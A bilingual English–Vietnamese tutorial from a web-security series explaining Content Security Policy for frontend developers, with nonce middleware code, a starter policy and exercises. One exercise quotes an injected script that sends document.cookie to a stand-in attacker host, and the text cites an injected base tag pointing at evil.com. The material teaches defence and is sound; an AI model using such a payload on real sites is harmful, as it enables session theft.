Web Security for Frontend Devs · Part 3 — Content Security Policy (CSP)
How Content-Security-Policy contains XSS even when sanitization fails: directives, nonces, strict-dynamic, report-only rollout, Trusted Types, and a starter strict policy — with exercises.
Part 3 of 10 in the Web Security for Frontend Devs series {Phần 3/10 trong series Web Security for Frontend Devs}. Previous {Trước}: Part 2 — Cross-Site Scripting (XSS) · Next {Tiếp}: Part 4 — CSRF & SameSite Cookies.
This is Part 3 of a 10-part series on the web-security essentials every frontend developer should know — and actively prevent {Đây là Phần 3 của series 10 bài về những kiến thức bảo mật web mà mọi frontend dev nên biết — và chủ động phòng tránh}. Each part explains a real threat, shows vulnerable code, then the fix, and ends with exercises {Mỗi phần giải thích một mối đe dọa thật, cho xem code lỗ hổng, rồi cách sửa, và kết thúc bằng bài tập}.
Part 2 — Cross-Site Scripting (XSS) taught you to escape, sanitize, and avoid dangerous sinks {Phần 2 — XSS dạy escape, sanitize, và tránh sink nguy hiểm}. Content Security Policy (CSP) is the next layer: even if one XSS payload slips through, the browser refuses to run or load resources that violate your policy {CSP là lớp tiếp theo: dù một payload XSS lọt qua, trình duyệt từ chối chạy hoặc nạp tài nguyên vi phạm policy}. Think of CSP as a firewall inside the browser for what your page is allowed to execute and embed {Hãy coi CSP như tường lửa trong trình duyệt cho thứ trang được phép thực thi và nhúng}.
What CSP is {CSP là gì?}
Content Security Policy is an HTTP response header (or, with limits, a <meta> tag) that delivers a set of directives {Content Security Policy là header phản hồi HTTP (hoặc, có giới hạn, thẻ <meta>) chứa tập directive}. The browser evaluates every script, stylesheet, image, fetch, font, frame, and more against those rules before applying them to your document {Trình duyệt đánh giá mọi script, stylesheet, image, fetch, font, frame, v.v. theo quy tắc đó trước khi áp dụng vào document}.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'
Unlike input sanitization (which must be perfect on every code path), CSP is defense in depth {Khác với sanitize input (phải hoàn hảo trên mọi code path), CSP là phòng thủ nhiều lớp}: one missed escape in a template does not automatically mean arbitrary script execution if script-src blocks it {một chỗ escape sót trong template không tự động đồng nghĩa chạy script tùy ý nếu script-src chặn}. It does not replace XSS prevention — it contains damage when prevention fails {Nó không thay thế phòng XSS — nó kìm thiệt hại khi phòng thủ hỏng}.
Core directives you will actually set {Directive cốt lõi bạn thực sự cần set}
Directives are name value value … pairs, semicolon-separated {Directive là cặp tên giá trị giá trị …, phân tách bằng dấu chấm phẩy}. If you only memorize a handful, make it these {Nếu chỉ nhớ vài cái, hãy là những cái này}:
| Directive | What it controls {Điều khiển gì} |
|---|---|
default-src | Fallback for most fetch directives when not overridden {Mặc định cho hầu hết directive fetch khi không ghi đè} |
script-src | JavaScript (<script>, event handlers, import(), workers in some cases) {JavaScript} |
style-src | CSS (<link rel=stylesheet>, <style>, inline style="") {CSS} |
img-src | Images (<img>, background-image from allowed URLs) {Ảnh} |
connect-src | fetch, XHR, WebSocket, EventSource targets {fetch, XHR, WebSocket, EventSource} |
font-src | @font-face and web fonts {Font web} |
frame-src | <iframe> / <frame> children you embed {<iframe> bạn nhúng} |
frame-ancestors | Who may embed your page in their iframe (clickjacking — Part 7) {Ai được nhúng trang bạn — clickjacking (Phần 7)} |
base-uri | Valid targets for <base href> (blocks base-tag hijacking) {Mục tiêu hợp lệ của <base href>} |
form-action | Where <form> may submit {Nơi <form> được submit} |
object-src | Plugins (<object>, <embed>, <applet>) — set 'none' {Plugin — nên 'none'} |
upgrade-insecure-requests | Upgrade passive HTTP subresources to HTTPS {Nâng subresource HTTP thụ động lên HTTPS} |
object-src 'none' closes a legacy hole attackers still probe {object-src 'none' đóng lỗ legacy kẻ tấn công vẫn thử}. base-uri 'self' stops an injected <base href="https://evil.com"> from rewriting all relative URLs on the page {base-uri 'self' chặn <base href="https://evil.com"> tiêm vào làm đổi mọi URL tương đối}. frame-ancestors is the modern way to say “do not let evil.com frame my bank UI” — pair it with Part 7 and the header stack in Part 8 {frame-ancestors là cách hiện đại nói “đừng cho evil.com frame UI ngân hàng của tôi” — kết hợp Phần 7 và stack header Phần 8}.
Source expressions: allow, deny, and foot-guns {Biểu thức nguồn: cho phép, chặn, và tự bắn vào chân}
Each directive value is a source list {Mỗi giá trị directive là danh sách nguồn}:
'self'— same origin as the document (scheme + host + port) {cùng origin với document}'none'— block this category entirely {chặn hẳn loại này}- Host allowlists —
https://cdn.example.com,https://*.example.com(wildcards only in the leftmost label) {danh sách host — wildcard chỉ ở nhãn trái nhất} 'unsafe-inline'— allow inline<script>andonclick="..."{cho phép inline script và handler}'unsafe-eval'— alloweval(),new Function(), some bundler patterns {cho phépeval(),new Function(), một số pattern bundler}
'unsafe-inline' and 'unsafe-eval' largely defeat the XSS containment goal {'unsafe-inline' và 'unsafe-eval' phá hầu hết mục tiêu kìm XSS}. If your policy includes them because “the app broke,” you have documented that any injected inline script is allowed — the same class of bug Part 2 describes {Nếu policy có chúng vì “app lỗi,” bạn đã ghi nhận mọi script inline tiêm vào đều được phép — đúng loại lỗi Phần 2 mô tả}. Fix the architecture (nonces or hashes) instead of weakening CSP permanently {Sửa kiến trúc (nonce hoặc hash) thay vì làm CSP yếu vĩnh viễn}.
Modern strict CSP: nonces, hashes, and 'strict-dynamic' {CSP strict hiện đại: nonce, hash, và 'strict-dynamic'}
A nonce is a cryptographically random token generated per response on the server, included in both the CSP header and matching tags {Nonce là token ngẫu nhiên mạnh sinh mỗi response trên server, có trong cả header CSP và thẻ khớp}:
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5' 'strict-dynamic'; object-src 'none'; base-uri 'self'
<script nonce="a1b2c3d4e5" src="/assets/app.js"></script>
<script nonce="a1b2c3d4e5">
// This inline block runs only because the nonce matches.
</script>
Rules that matter in production {Quy tắc quan trọng trên production}:
- Generate a fresh nonce every response; never reuse across users or pages {Sinh nonce mới mỗi response; không tái dùng giữa user hay trang}.
- Put the nonce on every intentional script tag, including JSON bootstrap blocks your framework emits {Gắn nonce lên mọi thẻ script chủ đích, kể cả block bootstrap JSON framework phát ra}.
'strict-dynamic'allows scripts trusted by nonce/hash to load further scripts (e.g. dynamicimport()from your bundle) without listing every CDN hostname {'strict-dynamic'cho script được tin qua nonce/hash nạp thêm script (vdimport()động từ bundle) mà không liệt kê mọi hostname CDN}.
A hash ('sha256-…', 'sha384-…', 'sha512-…') pins an exact inline script body {Hash ghim đúng nội dung inline script}. Useful for tiny inline bootstraps you cannot nonce easily, but brittle when bytes change {Hữu ích cho bootstrap inline nhỏ khó nonce, nhưng dễ gãy khi byte đổi}:
Content-Security-Policy: script-src 'sha256-abc123…base64…' 'strict-dynamic'
Do not mix 'unsafe-inline' with nonces in a policy you rely on — browsers treat that combination inconsistently, and attackers abuse the ambiguity {Đừng trộn 'unsafe-inline' với nonce trong policy bạn tin cậy — trình duyệt xử lý không nhất quán, kẻ tấn công lợi ambiguity}.
The nonce must be generated on the server (or edge) per response — never hard-coded in static HTML committed to git {Nonce phải sinh trên server (hoặc edge) mỗi response — không hard-code trong HTML tĩnh commit lên git}:
import { randomBytes } from 'node:crypto';
export function cspNonce(): string {
return randomBytes(16).toString('base64');
}
// middleware (Express-style): set header + pass nonce to template
export function cspMiddleware(
req: { locals: { cspNonce?: string } },
res: { setHeader: (name: string, value: string) => void; locals: { cspNonce?: string } },
next: () => void,
): void {
const nonce = cspNonce();
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`,
);
next();
}
Your HTML template then renders <script nonce="${cspNonce}"> using the same value {Template HTML render <script nonce="${cspNonce}"> với cùng giá trị}. Frameworks (Next.js, Nuxt, Rails, Laravel) expose hooks for this pattern — search for “CSP nonce” in your stack rather than inventing a client-side workaround {Framework (Next.js, Nuxt, Rails, Laravel) có hook cho pattern này — tìm “CSP nonce” trong stack của bạn thay vì workaround phía client}.
Report-Only: measure before you enforce {Report-Only: đo trước khi ép}
Ship breaking CSP on Friday night is how teams turn it off forever {Triển khai CSP phá app đêm thứ Sáu là cách team tắt nó mãi}. Use Content-Security-Policy-Report-Only with the same directive string first {Dùng Content-Security-Policy-Report-Only với cùng chuỗi directive trước}: violations are logged but not blocked {vi phạm được ghi nhưng không chặn}.
Content-Security-Policy-Report-Only: script-src 'self' 'nonce-REPORT_TEST'; report-uri /csp-report
Report-To: csp-endpoint
Modern reporting prefers Report-To (Reporting API) with a report-to directive in CSP; report-uri is deprecated but still seen in the wild {Reporting hiện đại ưu tiên Report-To với directive report-to trong CSP; report-uri deprecated nhưng vẫn gặp}. Tune until noise is low, then flip to enforcing Content-Security-Policy {Chỉnh đến khi ít nhiễu, rồi bật Content-Security-Policy ép}.
Trusted Types via CSP {Trusted Types qua CSP}
Part 2 introduced Trusted Types as a way to block assigning raw strings to DOM XSS sinks {Phần 2 giới thiệu Trusted Types chặn gán chuỗi thô vào sink XSS DOM}. CSP can require it:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
With this enabled, element.innerHTML = userInput throws unless userInput is a TrustedHTML produced by your policy {Khi bật, element.innerHTML = userInput ném lỗi trừ khi userInput là TrustedHTML do policy tạo}. Pair sanitize-on-output (Part 2) + CSP + Trusted Types for the strongest client-side stack browsers support today {Kết hợp sanitize khi output (Phần 2) + CSP + Trusted Types cho stack phía client mạnh nhất trình duyệt hỗ trợ hiện nay}.
Common mistakes (and how attackers exploit them) {Lỗi phổ biến (và cách kẻ tấn công lợi dụng)}
Over-broad script allowlists {Allowlist script quá rộng}. Allowing https://ajax.googleapis.com or a generic JSONP endpoint effectively allows arbitrary script from paths the attacker controls {Cho phép endpoint JSONP chung coi như cho script tùy ý từ path kẻ tấn công kiểm soát}. Prefer 'self' + nonce + 'strict-dynamic' over long CDN lists {Ưu tiên 'self' + nonce + 'strict-dynamic' hơn danh sách CDN dài}.
Forgetting object-src 'none' and base-uri 'self' {Quên object-src 'none' và base-uri 'self'}. These are cheap wins attackers still use when script-src looks “strict” {Đây là thắng lợi rẻ kẻ tấn công vẫn dùng khi script-src trông “strict”}.
Defaulting to 'unsafe-inline' for styles is common (style-src 'self' 'unsafe-inline') because CSS-in-JS and frameworks inject <style> blocks {Mặc định 'unsafe-inline' cho style phổ biến vì CSS-in-JS/framework chèn <style>}. That is a separate risk surface (data exfil via CSS) — tighten when you can with nonces or external stylesheets {Đó là mặt rủi ro khác (rò dữ liệu qua CSS) — siết khi có thể bằng nonce hoặc stylesheet ngoài}.
Meta-tag CSP cannot set frame-ancestors, report-uri, report-to, or sandbox — and only the first meta CSP in the document applies {CSP thẻ meta không set được frame-ancestors, report-uri, report-to, hay sandbox — và chỉ meta CSP đầu trong document có hiệu lực}. Prefer response headers from your host or reverse proxy (Part 8) {Ưu tiên header phản hồi từ host hoặc reverse proxy (Phần 8)}.
A starter strict policy {Policy strict khởi đầu}
Adapt hostnames and reporting to your stack; this is a baseline, not copy-paste production truth {Điều chỉnh hostname và reporting theo stack; đây là nền, không phải chân lý production copy-paste}:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-REPLACE_PER_RESPONSE' 'strict-dynamic';
style-src 'self';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self';
frame-src 'none';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
On static hosts (GitHub Pages, Cloudflare Pages, Netlify), set headers in _headers, netlify.toml, or dashboard config — not in client JS {Trên host tĩnh, set header trong _headers, netlify.toml, hoặc dashboard — không trong JS client}. Fallback when you cannot touch headers:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-REPLACE'; object-src 'none'; base-uri 'self'"
/>
Remember: meta cannot protect framing (frame-ancestors) or centralized reporting {Nhớ: meta không bảo vệ framing (frame-ancestors) hay reporting tập trung}.
How this fits the series {Vị trí trong series}
| Layer | Part | Role {Vai trò} |
|---|---|---|
| Prevent injection | Part 2 — XSS | Escape, sanitize, avoid sinks {Escape, sanitize, tránh sink} |
| Contain execution | Part 3 — CSP (this post) | Block unauthorized script/load even if HTML is poisoned {Chặn script/load trái phép dù HTML bị độc} |
| Stop being framed | Part 7 — Clickjacking | frame-ancestors / XFO {frame-ancestors / XFO} |
| Ship headers correctly | Part 8 — Secure headers & TLS | HSTS, CSP delivery, MIME sniffing {HSTS, giao CSP, chống sniff MIME} |
CSP is not magic: it does not validate your API, stop CSRF, or fix CORS {CSP không phải phép thuật: không validate API, không chặn CSRF, không sửa CORS}. It is the layer that answers: “If HTML is wrong, what still cannot run?” {Nó trả lời: “Nếu HTML sai, thứ gì vẫn không chạy được?”}
Bài tập / Exercises
1. You inherit script-src 'self' https://cdn.example.com 'unsafe-inline'. An attacker injects <script>fetch('https://evil.com?c='+document.cookie)</script>. Does CSP block it? What two directive changes fix it without 'unsafe-inline'? {Bạn nhận script-src 'self' https://cdn.example.com 'unsafe-inline'. Kẻ tấn công tiêm <script>fetch('https://evil.com?c='+document.cookie)</script>. CSP có chặn không? Hai thay đổi directive nào sửa mà không cần 'unsafe-inline'?}
Solution {Lời giải}
No — 'unsafe-inline' explicitly allows inline <script> blocks, so the injected tag runs {Không — 'unsafe-inline' cho phép khối <script> inline, nên thẻ tiêm chạy}. Fix: remove 'unsafe-inline', add a per-response 'nonce-…' on legitimate scripts (and 'strict-dynamic' if the bundle loads more scripts), keep 'self' only if you truly need same-origin scripts without nonces {Sửa: bỏ 'unsafe-inline', thêm 'nonce-…' mỗi response trên script hợp lệ (và 'strict-dynamic' nếu bundle nạp thêm script), giữ 'self' chỉ khi thật cần script same-origin không nonce}. Optionally drop broad CDN allowlists if JSONP or user-controlled paths exist there {Có thể bỏ allowlist CDN rộng nếu có JSONP hay path do user kiểm soát}.
2. Why should object-src and base-uri appear in a “script-focused” CSP, even when you do not use <object> or <base> today? {Vì sao object-src và base-uri nên có trong CSP “tập trung script” dù hôm nay bạn không dùng <object> hay <base>?}
Solution {Lời giải}
Attackers do not care about your feature roadmap {Kẻ tấn công không quan tâm roadmap tính năng}. object-src 'none' blocks plugin surfaces that bypass script-src expectations {object-src 'none' chặn mặt plugin vượt kỳ vọng script-src}. base-uri 'self' stops a single injected <base href="https://evil.com/"> from retargeting every relative URL (scripts, images, forms) to an attacker origin {base-uri 'self' chặn một <base href="https://evil.com/"> tiêm làm mọi URL tương đối trỏ sang origin kẻ tấn công}. Both are one-line, high-leverage hardening {Cả hai là một dòng, hardening hiệu quả cao}.
3. Write the two response headers for a report-only rollout that will later enforce script-src 'nonce-abc' 'strict-dynamic' and sends reports to /csp-violations. {Viết hai header phản hồi cho rollout report-only sau này sẽ ép script-src 'nonce-abc' 'strict-dynamic' và gửi report tới /csp-violations.}
Solution {Lời giải}
Content-Security-Policy-Report-Only: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'; report-uri /csp-violationsAfter violations are clean, add the enforcing header (same directives, without -Report-Only) {Sau khi vi phạm sạch, thêm header ép (cùng directive, không -Report-Only)}:
Content-Security-Policy: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'In production, prefer report-to + Report-To JSON over legacy report-uri when your collector supports it {Trên production, ưu tiên report-to + JSON Report-To hơn report-uri legacy khi collector hỗ trợ}.
Stretch {Nâng cao}: In DevTools → Network, load a page with a strict CSP and trigger a blocked inline script (or use the Issues panel). Capture the violation report fields (blocked-uri, violated-directive, source-file). Explain what you would change in the policy vs in the app code. {Trong DevTools → Network, tải trang CSP strict và kích hoạt script inline bị chặn (hoặc panel Issues). Ghi các trường báo cáo vi phạm (blocked-uri, violated-directive, source-file). Giải thích bạn sửa policy hay code app.}
Key takeaways {Điểm chính}
- CSP is a response-header policy that limits which scripts, styles, images, fetches, and frames may load — defense in depth after Part 2 XSS prevention {CSP là policy header phản hồi giới hạn script, style, image, fetch, frame được nạp — phòng thủ nhiều lớp sau phòng XSS Phần 2}.
'unsafe-inline'/'unsafe-eval'undo most XSS containment; prefer nonces, hashes, and'strict-dynamic'{'unsafe-inline'/'unsafe-eval'phá hầu hết kìm XSS; ưu tiên nonce, hash,'strict-dynamic'}.- Always set
object-src 'none',base-uri 'self', and planframe-ancestorswith Part 7 {Luôn setobject-src 'none',base-uri 'self', và lên kế hoạchframe-ancestorsvới Phần 7}. - Roll out with
Content-Security-Policy-Report-Onlyfirst; deliver via server headers (Part 8), not meta, when you need framing protection and reporting {Triển khai bằngContent-Security-Policy-Report-Onlytrước; giao qua header server (Phần 8), không meta, khi cần bảo vệ framing và reporting}. require-trusted-types-for 'script'pairs CSP with DOM sink enforcement from Part 2 {require-trusted-types-for 'script'ghép CSP với ép sink DOM từ Phần 2}.
Next up {Tiếp theo}
Part 4 — CSRF & SameSite Cookies: the attack that abuses the browser’s automatic cookie sending — and how SameSite, tokens, and double-submit cookies stop it {Phần 4 — CSRF & SameSite Cookies: tấn công lợi dụng việc trình duyệt tự gửi cookie — và cách SameSite, token, double-submit cookie chặn}. Continue to Part 4 — CSRF & SameSite Cookies.